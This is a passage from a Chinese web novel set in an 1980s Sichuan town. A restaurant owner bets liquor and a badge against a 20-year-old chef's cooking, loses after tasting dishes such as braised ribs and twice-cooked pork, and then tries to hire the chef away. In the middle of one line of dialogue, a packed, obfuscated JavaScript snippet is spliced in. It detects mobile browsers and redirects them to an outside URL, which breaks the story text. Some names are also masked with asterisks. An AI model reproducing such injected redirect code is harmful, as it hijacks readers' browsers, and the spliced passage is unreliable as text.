“老汉，你弄点牙膏皮在这个位置当铅坠嘛，鱼钩都没有到底，怎么能钓到大板鲫呢。”周砚笑着道。 “啊？”周淼挠头，“还有这种讲究？” “我给你整。”周砚找到了一个用完的牙膏壳，这会的牙膏皮还是铝壳的，拿剪刀剪了一个长条，卷在鱼钩上方十公分左右的位置。 “丢到水里，让浮漂三根在水里，三根在水面上，这样你就钓到底了，下回肯定能钓到大鱼。”周砚跟他说道。 “要得！我下回试试看。”老周同志点头，又看着他道：“没见你钓过鱼的嘛，你啷个晓得这些东西呢？” “从书上看来的，我也就懂点原理，具体还要你自己去实践。”周砚随口搪塞道。 “能写到书上的，肯定都是大师的经验。”老周同志非常相信，把鱼竿小心收回到楼梯下边，又去把鱼篓清洗干净，挂到门口去晾干。 这个年代，钓鱼一般会被视为不务正业。 赵嬢嬢绝对属于开明的老婆，外人觉得她歪，但在家里她从来都是好老婆，好妈妈。 当然，这和老周同志有分寸也有很大关系。 每次钓完鱼，他都会把钓鱼的工具清洗的干干净净，保证家里不会因为他钓鱼多出什么异味来。 钓鱼弄脏的衣服，从来不会丢在那里等赵嬢嬢帮他洗，都是他自己单独洗了晒。 周砚也是这样的，虽然住在一起，但每天跑完步、干完活的脏衣服，都是他自个顺手就洗了。 也算是一种家风吧。 他们提前吃过午饭，客人便三五成群陆续来了。 “赵嬢嬢，王敏五个人。” “老板，刘德柱四个人。” …… 都是预约过的，报上名字就不用另外再点菜，点菜单打个勾送进厨房，周砚就开始炒菜。 门口同时来了五辆自行车，带头的正是赵东，小心搀着一位头发花白的老太太从车后座下来，柔声道：“妈，小心点。” 旁边那辆自行车上坐着一个穿着西服的中年男人，身材魁梧，挺着一个将军肚，皱眉打量着饭店招牌：“赵东，怎么选这么一家小饭店啊？今天老娘生日，虽然不做寿，咱们也选个好点的饭店嘛，要不转到国营饭店去？我跟你姐都说了，今天我们买单。” 这是赵东的姐夫，飞燕酒楼的老板黄鹤。 “是啊，这饭店小了点，没国营饭店气派。”黄鹤后座下来一个穿着旗袍的中年女人，烫着卷发，画着淡妆，披着件皮衣外套，看起来颇为贵气。 赵淑兰看着这略带寒酸的饭店，也是直摇头。 求月票~~   (本章完) 第121章 沃日！这是二十岁的厨师做的？（55 第121章沃日！这是二十岁的厨师做的？（5.5k万更求月票！） 赵东的老婆严雪站在旁边，有些局促的笑着。 “舅舅，这饭店好吃吗？苏稽的国营饭店我觉得一点都不好吃。”最边上的女士自行车上坐着一个胖胖的姑娘，穿着一件碎花的长裙，约摸十八岁的样子，少说也有一百八十斤，是黄鹤的女儿**。 **和黄鹤体型比例不相上下，脸蛋圆圆的，皮肤很白，倒是长得颇为讨喜，声音有点夹，和她体型不太匹配，正一脸期待的看着赵东。 “肯定好吃，舅舅才会带你们来撒。”赵东笑着应道，又看着黄鹤道：“姐夫，我跟你讲，你别瞧这小饭店装修不怎么样，看着也小，但老板的厨艺是真不赖，做的菜比国营饭店好吃多了，你要吃了觉得不好吃，我那枚像章就送你。” 听到像章，黄鹤来了兴致：“儿豁？” “儿豁。”赵东笑着点头。 “那就尝看嘛，我们要是都觉得不如国营饭店，像章就是我的了哈。”黄鹤说道：“要是真有你说的那么好，我请客，我再赔你一瓶52度五粮液。” “要得！”赵东立马点头。 他这个姐夫有钱且大方，像这种十拿九稳的事情，他赚瓶五粮液不是美滋滋。 赵淑兰看着自己老公和弟弟，有些无奈的摇头，那她还有什么好说的呢。 “兵兵呢？”赵家老太太向勤左右看了一眼，开口问道。 “妈，你不用管那龟儿子，跟他说了在这里，他今天要是敢不来，我回去收拾他。”黄鹤笑着说道。 “对，狠狠收拾他！”**在旁握着胖乎乎的手，幸灾乐祸道。 “呜——” 远处传来了一声摩托的轰鸣声。 众人回头，便瞧见一辆军绿色的摩托车驶来，在饭店门口停下。 “摩托车！” 饭店里不少客人都纷纷回头往门口看去，眼里满是稀奇之色。 “还是辆嘉陵70呢！没想到苏稽还能看到这车！纯小日本进口的零件，一辆好像得两千五百多块钱呢！” 有认得的人啧啧称奇。 就连周砚闻声，都忍不住从后厨探出脑袋瞧了一眼。 骑摩托车的是个二十岁出头的青年，喇叭裤，大背头，脚上穿的是帆布鞋，花衬衣塞裤子里，外边套了一件黑色皮衣，戴个**镜，骑的是一辆军绿色的摩托车。 这一身装备，在这个时代绝对属于潮男。 而且还是个有钱的潮男。 周砚去过两趟嘉州，路上也偶偶能看到摩托车，不过一般是嘉陵50，跟他胯下这辆嘉陵70可差远了。 工厂人均工资才三十多块钱一个月的时代，骑着两千多一辆的摩托车什么概念？ 典型开豪车的富二代了。 高、瘦，五官有点紧凑，脸色有点苍白，看着一副肾虚的样子。 “外婆！”黄兵把摩托车停下，**墨镜往下拉到鼻尖，看着向老太太笑着道：“看我的新摩托车，要不要带你兜一圈？” “你莫要乱整，等会把你外婆颠的不舒服。”赵淑兰抬手捶了黄兵的手臂一拳。 “你这个**精是哪个？”向老太太皱眉看着黄兵。 “我兵兵啊，你又记不到我了？”黄兵脸上的笑容一垮，多了几分惆怅。 “你乱说，我兵兵才这么点大。”向老太太一脸认真的伸手比划了一下，到她腋下的样子。 “哥哥，我想坐你的摩托！你带我兜一圈嘛！”**把车一停，跑过来满眼期待。 “你不行，你一坐上来车子要翘头，我把握不住。”黄兵立马熄火拔车钥匙，果断摇头。 “你……”**气急，转而看向黄鹤撒娇告状：“老汉！你不是说要收拾这个龟儿子吗？快动手啊，我帮你抓着他！” “舅舅，舅妈，表弟，表妹。”黄兵不理她，转而跟赵东夫妇和两个表弟表妹打了招呼，抬头看着招牌和眼前的小饭店，有些疑惑：“中午在这里吃？外婆过生日，有点……太小了吧？” “屁话不要多，又不是你给钱，你还挑上了！”黄鹤伸手给了他一个板栗，脸上满是嫌弃：“看你穿的啥子裤子，一天天就晓得跟你那些狐朋**鬼混，明天开始就来店里上班，自己挣工资，我让你妈一分零花钱都不给你！” “老汉，我耍归耍，从来不给你惹事哈。”黄兵嬉皮笑脸，躲到了赵淑兰身后，小声道：“妈，给我一百块钱加油。” “老子……”黄鹤瞪眼。 “老黄！”赵淑兰上前一步，脸色一沉，往他腰上拧了一把：“有啥子话回去再说，莫要在外面给老子丢人现眼！老娘回去再收拾他！” 黄鹤疼的龇牙咧嘴，连连点头。 赵淑兰一眼扫过去，黄兵也不敢笑了，往向老太身后缩。 赵东笑着开口：“走嘛，进去坐，我菜都提前点好了，老板这是第一次星期日开业。” 众人跟着进门。 “赵主任，你们来了，看看坐哪里嘛。”赵铁英笑着迎出来。 周沫沫听到动静也跟着跑出来，绕过众人，跑到外边看摩托车，惊叹着喊道：“哇哦！大车车！” 小家伙小小一个，长得又可爱，让人忍不住多看了两眼。 “小小只，可爱捏！”**已经凑过来了，两眼放光的看着周沫沫。 突然投下的阴影，让周沫沫下意识后退了半步，仰着头看着**，露出了几分震惊的表情：“好大只的姐姐……好厉害！” 老周家不缺高大威猛的壮汉，但这么大只的姐姐周沫沫确实没见过。 赵红算是长得敦实的，但她平时干活，肉是结实的，所以看起来没那么大只。 **肉嘟嘟的，出门能骑车绝不走路，穿的又是宽松遮肉的棉质长裙，突然靠近，从周沫沫的视角来看，就像是一座大山。 小家伙的世界，对美丑的概念还未受到大人的影响。 所以她对**的壮硕而感到震惊，并且由衷的觉得她很厉害。 **听完愣了一下，旋即忍不住笑了。 因为她从周沫沫的眼睛里看到了崇拜，那是发自内心的纯粹想法。 她已经很久没有在别人的眼里看到这种眼神了，更多的是嫌弃和鄙夷，还有从背后传来的嘲笑。 可她，竟然说我很厉害欸！ 宠她！好好宠她！ **拉开自己的随身背着的粉色小跨包，从里边抓了一把糖果，笑着递给了周沫沫：“来，大姐姐给你糖糖吃。” 除了水果硬糖，还有硬币巧克力呢。 周沫沫眼睛一亮，但没有伸手去接，而是回头看向了赵嬢嬢。 妈妈说了，不能随便接陌生人的东西吃。 “姐姐给你，你就接着嘛。”赵嬢嬢笑着点头。 周沫沫这才伸出两只小手，捧着接过**手里的糖果，甜甜道：“谢谢姐姐！” “不谢！”**笑着摇头。 一旁的黄兵看得傻乐，伸手把全身口袋掏了一遍，只掏出一盒烟和一个打火机，只好又默默塞回口袋。 “这摩托车是我的，你想不想坐上兜一圈？”黄兵拍着摩托车说道，她刚刚可是跑出来惊叹呢。 周沫沫点点头，又很快摇头：“不要。” “为啥子呢？这可是最新款的嘉陵70，呼的一下，跑得飞快。”黄兵不死心，觉得自己的新车应该没有小朋友能拒绝。 “锅锅说了，不能随便坐别人的车车，特别是摩托车车。”周沫沫摇头，眼神坚决。 大家闻言都笑了。 “看嘛，人家三岁小娃娃都晓得你不像个好人。”黄鹤无情补刀。 “你这个哥哥大有问题。”黄兵不太服气。 “这是**吗？怎么又变这么小了呢？”向老太看着周沫沫，笑着招手：“来，让外婆看看。” “外婆，我才是**。”**连忙凑过去，抓住了老太太的手，笑着道：“你看，这么大了！” “哎哟喂，淑兰怎么喂的哦，喂这么好。”老太太抓着**的手，一脸高兴。 “这边坐嘛。”赵东招呼道，众人纷纷落座。 黄家四口，赵家五人，一张八仙桌勉强能坐下，就是挤了点。 黄鹤看了眼被**挤到边边上的黄兵，回头跟赵铁英客气道：“老板，给我们再拼一张桌子嘛，坐宽松点，吃起来也舒服点。” “要得。”赵铁英应道，喊来周淼从旁边搬了一张桌子过来拼上。 宽敞是变宽敞了，不过两条八仙桌这么一拼，坐两头的夹菜可就没那么容易了。 这让赵铁英意识到一件事，如果要应对这样的多人聚餐场景，还是得准备几张十人座的大圆桌。 “老板，可以喊周砚炒菜了。”赵东笑着和赵铁英说道。 “要得。”赵铁英应了一声，转进了厨房。 “桌子不太专业，一张圆桌都没得，两家人吃饭，上十个人很常见，这样会让很多客人没法来吃。”黄鹤这才小声说道，左右打量了一下，“大堂其实不小的嘛，摆这么多八仙桌做啥子，平时能坐得满吗？” “不光坐得满，来得晚还经常要排队呢。”赵东笑着道，“平时来吃饭的都是厂里的工人，基本都是三五成群，这种情况八仙桌比圆桌实用嘛。本来这饭店周末是不开门营业的，这是第一回，估计后面会整改。” “排队？”黄鹤闻言有些意外，目光在饭店里打量起来，墙面刷的大白，地面是水泥，天花板连吊顶都没得，拉了十个白炽灯吊起，看起来比较简陋。 墙上的菜单倒是有点意思，挂的木牌牌，写了菜名和价格。 面条、烧菜、炒菜、卤菜、凉菜，品类倒是非常丰富，就是菜品少得可怜。 烧菜就红烧排骨和牛肉烧笋干，炒菜是碎花牛肉、回锅肉和火爆猪肝，还有个藿香鲫鱼，卤菜也就是卤猪头和卤猪脚，都是小馆子很常见的菜品。 菜品还不如一般小馆子丰富。 有道跷脚牛肉看着倒是眼生，他祖上就是苏稽的，还真没听说过这道菜。 价格中规中矩，比国营饭店还要贵点，比一般川菜馆也要贵点。 就这，能让纺织厂的工人们排着队来吃？ 黄鹤觉得赵东有吹牛的成分。 “点了哪些菜？”黄鹤问道。 “卤菜、凉拌鸡、还有跷脚牛肉今天不做，其他菜一样点了一份，红烧排骨和回锅肉老娘爱吃，多点了一份。”赵东说道。 “就这几个菜，卤菜和凉菜还不做啊？”黄鹤一脸稀奇，左右看了眼饭店里坐着的其他客人，就这还有八桌预定来吃饭的？ 赵淑兰手指在桌面上滑过，笑着开口道：“店虽然不大，环境简陋，但还是挺干净的，桌子凳子一点油渍都没有，摸起来清清爽爽，这在生意好的小饭店可不常见。” “这点倒是真的，一般苍蝇馆子，环境都西撇，也就是价格便宜，味道还行，客人没那么讲究。”黄鹤点头，那些没坐人的桌子，长条凳也是摆的整整齐齐，让人一眼看着就觉得舒服。 “不过，我觉得这乡镇小饭店厨师的手艺，肯定没有我们酒楼李老三的手艺好。”黄鹤带着几分自傲道，“李老三的师兄可是上过《四川烹饪》的大厨，李老三去年刚拿了一级厨师的证书，厨艺在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200239|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们嘉州首屈一指，不少客人来我们飞燕酒楼吃饭，都是冲着他的手艺来的。” “我不觉得，李老三的手艺我也不是只尝过一两回，就这菜单上的几道菜，他确实没有周砚做得好。”赵东不服气，笑着说道。 “周砚？苏稽有这号大厨吗？外头来的？”黄鹤皱眉，看着赵东问道：“干厨师好多年了？几级大厨？师承是哪里嘛？” 赵淑兰和黄兵也看向了赵东，都不信。 飞燕酒楼如今在嘉州是数一数二的大酒楼，李老三是她们请的主厨，一级红案大厨，水平相当高。 赵东竟然说这小饭店的厨师厨艺比他还好？ “舅舅，你为了我老汉的五粮液，也不能把牛吹得太过分嘛。”黄兵揶揄道。 “就是，要是他厨艺比李老三都好，那嘉州第一饭店就该是周二娃饭店了。”赵淑兰也笑道。 **倒是一脸期待：“舅，真的比李叔做的还好吃？” “我啥时候骗过莺莺嘛。”赵东笑着说道：“周砚今年才二十岁，师承我们纺织厂原来的厨师长肖磊肖师傅，他师爷是我们嘉州名厨孔怀风孔师傅，姐夫应该晓得嘛。至于啥子级别，那我就不晓得了，多半还没有去考过级。” “二十岁？你还是有点幽默哦。”黄鹤挑眉，然后忍不住笑了：“看来你那个像章要归我了！磨了这么多年你都舍不得给我，这次倒是自己送我手里来了。” “二十岁，在厨房能把墩子做好就是勤学苦练的了，难怪菜单上只有这几个菜。肖师傅我晓得，烧鱼和火爆猪肝、腰花、脆肠确实有水平，但其他菜做的就比较普通了，不如他师兄许运良。” “孔怀风大师和我老汉当年关系好得很，水平相当高，烧菜、炒菜、蒸菜都做得很好，特别是烧鱼更是一绝，我们飞燕酒楼招待贵客，还会请他去帮忙烧几个菜。” “他这个徒孙就算天赋再高，也只有二十岁的嘛，我不信他手艺能比他师父好，连他师父都不敢说比李老三厨艺好。” 作为酒楼第三代老板，说起嘉州名厨，黄鹤那是如数家珍，师承盘的明明白白的，祖上都是常来常往的关系。 他今年四十八，从小在酒楼长大，见过的厨师多了去，其中不乏天才，后来去了蓉城发展，甚至还有去美国的。 二十岁的年轻厨子什么水平，他心里门清。 “我再加一瓶茅台，就是上回你来看到的那瓶。”黄鹤看着赵东道：“你要是输了，就把另外一个像章也给我，我吃点亏，没得事。” “你说的哈，当着娃娃的面，你可不准耍赖。”赵东眼睛一亮，茅台只有过年上黄鹤家里才能喝得到，他自己平时可舍不得买。 “我说的，绝对不豁你。”黄鹤拍着胸脯保证，笑容格外灿烂。 十拿九稳的事情，他根本一点都不慌。 “我来作证！绝对公平公正！”**举手，笑眯眯道：“舅舅你放心，我老汉要是耍赖，我就从他酒柜里给你偷来。” “莺莺，你这手拐拐还向着外人呢。”黄鹤哭笑不得，对这个宝贝女儿有些无奈。 “我亲外甥女，怎么能算外人呢。”赵东得意了。 桌上众人也跟着笑了。 向老太也跟着乐呵，好久没那么热闹过了。 这时，赵铁英端着菜上桌，先上来的是两份红烧排骨和一份牛肉烧笋干。 跟着上来的还有一个小木桶盛的米饭，里边搁了一个木饭勺。 黄家众人目光立马盯上两道菜。 这可不止是赌上了黄鹤的两瓶酒，还有他们飞燕酒楼的荣誉！ 苏稽镇上一个小小饭店，二十岁厨师做出来的菜，是不是真的比他们家一级大厨水平更高？ “咕噜。”**率先吞了吞口水，盯着离她最近那盘排骨道：“这红烧排骨闻着好香啊！看着也也好诱人，感觉比李叔做的更有食欲呢。” 说完，她夹起一块红烧排骨放到向老太碗里，笑着道：“外婆！今天你是寿星，你先吃！” “要得！”向老太笑着点头，用筷子夹起排骨，嘴巴凑上去一抿，肉就脱骨了。 老太太嘴里没剩几颗牙，嘴巴努啊努，没几下就咽了下去，笑着点头道：“嗯，好干！烧的很耙！味道也巴适。” “那我也开饭了！”**早就等不及了，夹起一块红烧排骨，颤颤巍巍，裹满了红亮的酱汁，冒着热气，看着可太诱人了。 喂到嘴里，轻轻一咬，香软入味的肉立马在齿间爆开，肉汁四溅，这也太香了吧！ 骨头都嗦的干干净净的，才舍得吐出来。 “好吃！比李叔做的好吃多了！”**立马给出了自己的评价，秀气的眉毛都是扬起的，“大约一百倍！” “确实不错，香得很！”黄兵也是赞叹道。 黄鹤闻言脸色凝重了几分，拿起筷子夹了一块红烧排骨，精排斩成一样的大小，裹上琥珀色的酱汁，看起来红亮诱人，哪怕是用最便宜的白盘子一摆，也卖相十足。 再闻香味，肉香裹着酱香，扑鼻而来，没有一丝多余的膻味。 排骨入口，嘴巴一抿，骨肉立马分离，肥肉入口即化，瘦肉软烂入味，一点软骨嚼起来是弹牙的，口感相当有层次感，饱满的肉汁在口腔中四溅，绝妙无比。 吐出骨头，唇齿留香。 黄鹤看着面前这盘红烧排骨沉默了一会，抬头咬牙切齿的看着赵东： “我日！” “你说这是二十岁的厨师烧的？” —— PS：万更求月票！今天算加一更哈~3000月票加更！ 万更求月票！ (本章完) 第122章 优秀的厨师，不应该是育肥的吗？（ 痛！ 太痛了！ 黄鹤感觉自己被资本做了局。 但转念一想，这桌子上他们家更像资本家。 心更痛了。 飞燕酒楼传到他这里是第三代，从不故步自封，嘉州名厨，乃至蓉城的名厨，他都是有接触的，顶尖的饭店也是时常去品尝学习。 他做菜的水平不如三级厨师，但鉴赏水平是有的。 一道菜好不好，尝一口心里就有数了。 这道红烧排骨确实比他们家酒楼烧的好，比李老三的水平更高。 **和他一样爱吃，小嘴比他更挑，她的评价虽然夸张了点，但说的是事实。 黄兵一个平时不爱肉的家伙，这会已经在嗦第三根排骨了，足以说明一切。 “真有那么好？”赵淑兰看黄鹤的表情就已经明白了一些东西，也夹了一块排骨咬了一口，细细品味后，眼睛都亮了起来，赞叹道：“确实不错！调味水平很高，火候把控的极好，软烂入味。没想到这小小饭店，竟能做出如此美味的红烧排骨。” 赵东往向老太碗里夹了两块排骨，面上多了几分得意之色：“我说不会差吧？姐夫，酒就也不劳烦你送了，下回我自己来拿啊。” “别急！”黄鹤咬牙切齿盯着赵东：“我们点了六道菜，你不能一道菜就判我输了吧？至少……要两道！” 两瓶好酒他不心痛，但眼看到手的像章溜了一圈又跑了，他是真的心痛到无法呼吸啊。 “三道！让你输的心服口服。”赵东笑容灿烂，“姐夫，你的人品我信得过，你这张嘴吃过太多好东西了，一道菜水平怎么样，你心里门清，骗不了自己。” “好！”黄鹤点头，起身拈了一块牛肉和一块笋干到碗里。 牛肉烧笋干，川菜烧菜中的经典菜。 这道菜，把牛肉烧好不算本事，笋干好不好吃才是重点。 烧牛肉首选的是牛腩，瘦中带点肥，还有点筋膜，烧的软烂后肉不容易散，嚼起来口感更佳。 他先尝了牛肉，肥肉入口即化，瘦肉软而不烂，筋膜嚼起来是软糯的，牙齿轻轻一咬就切开，一点不费劲，嚼起来还有点弹牙，肉汁在齿间四溅，肉香馥郁，香辣适口。 黄鹤微微点头，然后把笋干喂到嘴里。 咔嚓！ 嚼起来还带点脆爽的口感，但其实笋干已经吸饱了牛肉的汤汁，嚼起来满口荤香。 黄鹤沉默了一会，点头道：“这牛肉烧笋干，比李老三烧的好，在嘉州也找不到更好的了。” 就像赵东说的，他尝过太多名厨的做的菜，好坏尝一口心里就门清，违心的话属实说不出口。 为什么很多大厨做新菜，都喜欢喊他去尝新。 因为他讲话很直，有啥说啥，从来不因为对方的身份就捧着。 李老三的鲜烧牛肉做的极好，但调味上确实不如这一份牛肉烧笋干，差距明显。 二十岁，能把两道烧菜做到这种程度，属实让黄鹤有些震惊。 多少老师傅几十年的手艺，都烧不出这样的牛肉来，这……莫非真是天才？ 众人闻言都有些惊讶，没想到黄鹤竟然把这份牛肉烧笋干的地位抬的如此之高。 “好好吃啊！这个牛肉汤拌饭肯定香，舅舅，帮我盛一碗米饭吧，求求了。”**已经把碗递到正在盛饭的赵东面前。 “要得。”赵东笑着接过碗，又看着赵淑兰道：“周砚做的甄子饭也好吃，跟老娘的手艺不相上下，姐，你要不要整一碗？” “真的？”赵淑兰闻言果然来了兴致，立马把手里的碗递了过去，“半碗就行了。” 土碗里盛着半碗米饭，闻着米香中夹杂着一丝淡淡的木香，筷子一扒拉，粒粒分明，但又有几分黏性。 赵淑兰夹起一口米饭喂到嘴里，细细嚼着，脸上露出了几分惊喜之色，咽下后看着赵东道：“老娘现在不做饭，我都好久没有吃到这么好的甄子饭了，又香又软，嚼起来还有点回甘，确实和老娘做的差不多。” “妈，加点汤汁拌饭更香！”**扒拉着米饭，大口嚼着，还不忘给她妈强烈推荐。 “真有那么好吃？”黄兵都忍不住舀了半碗饭，也跟着拿公勺舀了几勺牛肉汤浇在饭上，扒拉了一口，眼睛顿时亮了！ 好香啊！ 这米饭裹上香浓的牛肉汤，嚼起来满口荤香，再来一块牛肉和笋干，更是香的不要不要的。 这牛肉……什么时候变得那么好吃了？ 自家酒楼天天吃，怎么就没这感觉啊？ “回锅肉和碎花牛肉给你们上一下。”赵铁英端着菜又来了。 回锅肉是两份，碎花牛肉一份放中间。 这两份是炒菜。 黄鹤身体微微前倾，看着那蜷曲弯出完美灯盏窝，泛着漂亮油光的回锅肉，心哇凉哇凉的。 卖相太漂亮了！ 就是盛装的素盘子差了点意思，要是换成他们飞燕酒楼的盘子，端进包厢，卖三块五一份不成问题。 他夹了一块回锅肉，中间卷了一根蒜苗杆，拈起来肉颤颤巍巍的，肉上的油光跟着一闪一闪，这就是行家常说的“拈闪闪”。 能出这种状态，说明这回锅肉的火候对了。 肉也选的好，正宗二刀肉。 有些馆子用的五花肉，他筷子都不会伸一下。 回锅肉入口，皮子香糯，肥肉入口即化，瘦肉软嫩而略微弹牙，口感绝佳！ 蒜苗夹在中间，嚼起来清香解腻。 一口下去，肥而不油，香而不腻。 土灶大锅炒出来的回锅肉，味道都要更香一些。 “姐夫，这回锅肉怎么样？”赵东一脸期待的看着黄鹤。 “炒的太好了，不比蓉城餐厅的回锅肉差。”黄鹤点头认可，又长叹了一口气，指着赵东无奈道：“你啊你，这是故意挖坑等着我呢！” 像章飞走了不说，这下还赔出去两瓶好酒！ 把他气得啊。 回锅肉属于家常菜，川菜馆很常见。 但越是常见的菜，能炒好更彰显实力。 “这碎花牛肉也好香！适合拌饭！”**又有了新发现，先给向老太舀了一勺到碗里，“外婆，你也尝尝。” “莺莺，你少干点饭了，吃菜嘛。”赵淑兰看着她，目光中带着几分忧虑。 向老太给**夹了一块回锅肉，笑着道：“干！人是铁饭是钢，一顿不吃饿得慌！能吃是福！别听你妈支起嘴巴乱说。” **抱着碗往向老太身边挪了点，有些得意的冲着赵淑兰笑。 赵淑兰被她气笑了，等回去再收拾她。 都怪黄鹤太宠着她，每天给她吃各种好吃的，糖果、巧克力无限供应，吃了就睡，睡醒就吃，包里永远不缺零食。 这三年间体格猛涨，从一百二十斤的小胖妹，一下子长成了一百八十斤的大胖妹了。 她这个当妈的看着着急啊，十八岁的姑娘，眼看着就到谈婚论嫁的年纪了，她现在这体格，把相亲对象都吓跑了好几个。 而且医生也说了，太胖了对身体不好，她现在走两步都大喘气，骑车也是慢悠悠的，骑一会就要歇息，一点都没年轻人的活力和体力。 赵淑兰也不盼着她瘦成苗条美女，能回到一百二十斤就挺好的，有点肉嘟嘟的无所谓，能蹦能跳，不影响正常生活就行。 “你多吃点！天天抽烟喝酒熬夜，饭和肉倒是一口不沾！”赵淑兰往黄兵碗里夹了一筷子肉，看着干巴瘦，脸色苍白，顶着两个黑眼圈的儿子没好气道。 这两个家伙刚好颠倒，一个爱吃，一个啥也不吃。 瘦的只剩一把骨头，一米七五的个头，一百斤不到。 黄鹤常说这儿子被她惯坏了，她这段时间也开始考虑断掉他生活费的事情，又怕他没钱在外面乱来，走了歪路子。 “嗯嗯，我今天多吃一碗饭，好久没吃到这么好吃的菜了。”黄兵点着脑袋，又给自己加了一勺碎花牛肉。 他可算明白了，他不是不爱吃饭，只是不爱吃自家的饭而已。 外面做的好吃的饭，他还是爱吃的嘛！ 紧接着火爆猪肝和藿香鲫鱼也上来了。 黄鹤盛了一大碗饭，这些菜实在是太下饭了，得配着米饭吃更香。 “姐夫，尝尝这个火爆猪肝，这菜更显水平。”赵东极力推荐。 “这火爆猪肝是肖师傅的招牌菜嘛，之前尝过两回，不过要说火爆猪肝炒的好，还是要孔怀风孔师傅，他炒的猪肝那叫一个香辣脆嫩，可惜孔师傅已经仙逝，再吃不到那么好的火爆猪肝了。”黄鹤语气中带着几分缅怀和感慨，看着眼前这份火爆猪肝点头道：“这颜色很正，一点多余的汤水都没得，师门传承确实做的很好。” 说完，夹了一块猪肝喂到嘴里，细细品味，眼睛渐渐亮了起来。 刚出锅的猪肝还有点烫，但火爆猪肝吃的就是这口锅气。 麻辣鲜香，滑嫩爽口，香辣味引爆味蕾，这火爆猪肝香啊！ 黄鹤吃完又沉默了，连着吃了两块，扒拉了好几口米饭，再抬头看着赵东，目光都清澈了：“你说这周砚多少岁？” “二十啊。”赵东道。 “二十岁炒的火爆猪肝，赶上他师爷的水平了。”黄鹤咽了咽口水。 “这藿香鲫鱼烧的，也不比孔大师差。”一旁的赵淑兰放下筷子，神情同样满是震惊之色。 如果赵东说的是真的，那这是何等的天才啊？ “我就说嘛，一点都不比李老三的手艺差。”赵东笑道，脸上满是得意之色。 “你跟他熟不熟？我想请他去飞燕酒楼上班，你看能行不？”黄鹤凑过身来，小声道：“事情要是能成，我给你拿一箱茅台！” 听到茅台，赵东眼睛一亮，不过很快又摇头：“周砚这饭店生意那么好，怕是不愿意哦。” “不问问看怎么晓得呢，我们飞燕酒楼是百年大酒楼，发展前景好得很。你只管给我引荐，其他我来谈。”黄鹤说道，信心满满。 “要得，那干了饭我帮你引荐。”赵东点头，反正成不成他又没损失，已经白赚两瓶好酒，他心里乐着呢。 这顿饭，他们吃了两桶米饭。 就连平时只吃小半碗饭的向老太，今天都吃了一碗。 等他们吃完，饭店里的其他客人也都走的差不多了，每个人脸上都是带着满意的笑。 黄鹤给赵东使了个眼神。 赵东心领神会，起身准备说话，便瞧见周砚解了围裙从厨房出来，忙笑着招手道：“周砚，我姐夫想跟你认识一下。” 众人闻声，纷纷抬头看去。 **的眼睛一下亮了起来，好高！好帅！长得好标致！ 四川怎么会有如此英俊的男人！ 那个像座山一样的胖子站起来干什么？挡住我看帅哥了！ 哦，原来是我老汉儿…… **把脑袋往旁边探，继续看，这么好吃的菜，竟然是他做的吗？ 长得帅，又会做饭，偏偏我又最爱吃！ 那我们……岂不是刚好很配？ “挤到我了！”黄兵伸手按住她的脑袋，看着周砚也是两眼放光：“我靠！怎么有人能长成我想长的样子啊！真是让人嫉妒啊……” “哥，你可真敢想……”**看了他的小胳膊细腿，还有苍蝇来了都要打滑的背头一眼，再看看人家，宽肩窄腰大长腿，理寸头一样帅的不要不要的。 “滚！”黄兵咬牙切齿！ 周砚面带微笑走了过来。 黄鹤立马伸手笑着道：“周师傅你好，我是飞燕酒楼的老板黄鹤。” “黄老板，你好。”周砚笑着和他握手，余光扫了一眼桌上的其他人，赵东应该没有什么妹妹吧？ 然后他就注意到了两道灼灼的目光死死盯着他，相当火热。 “周师傅，你的厨艺太好了，不管是烧菜还是炒菜，调味、火候都把控的极好，特别是那道火爆猪肝，竟是让我恍如孔怀风孔大师再世的错觉，当真是名师出高徒。”黄鹤抓着周砚的手不放，目光同样灼热。 “黄老板过奖了，我连我师父都尚且不如，又怎么敢和师爷相比。”周砚笑着抽回了手，同行的殷勤，让人有点害怕，总觉得掺了假。 “这么说可能不太礼貌，不过我这个人在圈子里说话素来直来直去，有啥说啥。就今天这六道菜而言，我觉得你比肖师傅已经更有水平了。”黄鹤一脸认真道，“周师傅的天赋，世所罕见，将来必成大厨，如孔大师一般名扬川菜界。” 赵淑兰一脸意外的看着黄鹤和周砚，这等评价，他还是第一次从他男人的嘴里听到，足见他对周砚的重视。 赵东表情古怪，他知道姐夫想挖人，夸人是一点不带含蓄的。 “孔大爷是他师爷？那我吃过孔大爷做的鱼，算什么？”**脑子急转。 “算个屁，那跟他有一毛钱关系吗？”黄兵撇嘴。 “滚！”**咬牙切齿。 一旁正在收桌子的赵嬢嬢和老周同志都不由放慢动作，怎么吃完还夸上了呢？ 周砚笑着点头：“黄老板过奖了。” 好话，爱听，继续！ “是这样的，周师傅，我想邀请你去嘉州，到我们飞燕酒楼去当大厨，你就做你菜单上的这些菜就行，我给你安排住宿，以后有什么比赛、考级的机会，也会优先推荐你去。”黄鹤表情郑重道：“你如此优秀的厨艺，不应该在这小小苏稽被埋没，我们飞燕酒楼是嘉州四大餐厅之一，百年酒楼。” “失敬失敬。”周砚拱手。 黄鹤面露喜色：“那你是答应了？” “不知黄老板准备给我开多少工资啊？”周砚笑问道。 黄鹤闻言认真思索了一番道：“周师傅若是愿意去，我给你开三百一个月的工资，并且给你安排住宿，三餐可在酒楼解决。” 他给李老三开的工资是三百六，毕竟是酒楼厨师长，又在酒楼做了这么多年，还是国家一级厨师。 他给周砚开的这个工资，绝对是有诚意的。 赵东听了也是微微点头，这比他工资还高了一倍呢，他一个月才一百五。看得出来姐夫确实求贤若渴啊。 赵嬢嬢和老周同志听完，就继续擦桌子收碗了，老板工资给的挺高的，和他们差不多。 “不好意思啊黄老板，我这饭店虽然小，但生意却不错，一天挣个几十块没问题。”周砚面带微笑的拒绝道：“你的好意我心领了，不过我这人生性爱自由，守着这小饭店就挺满足的。” 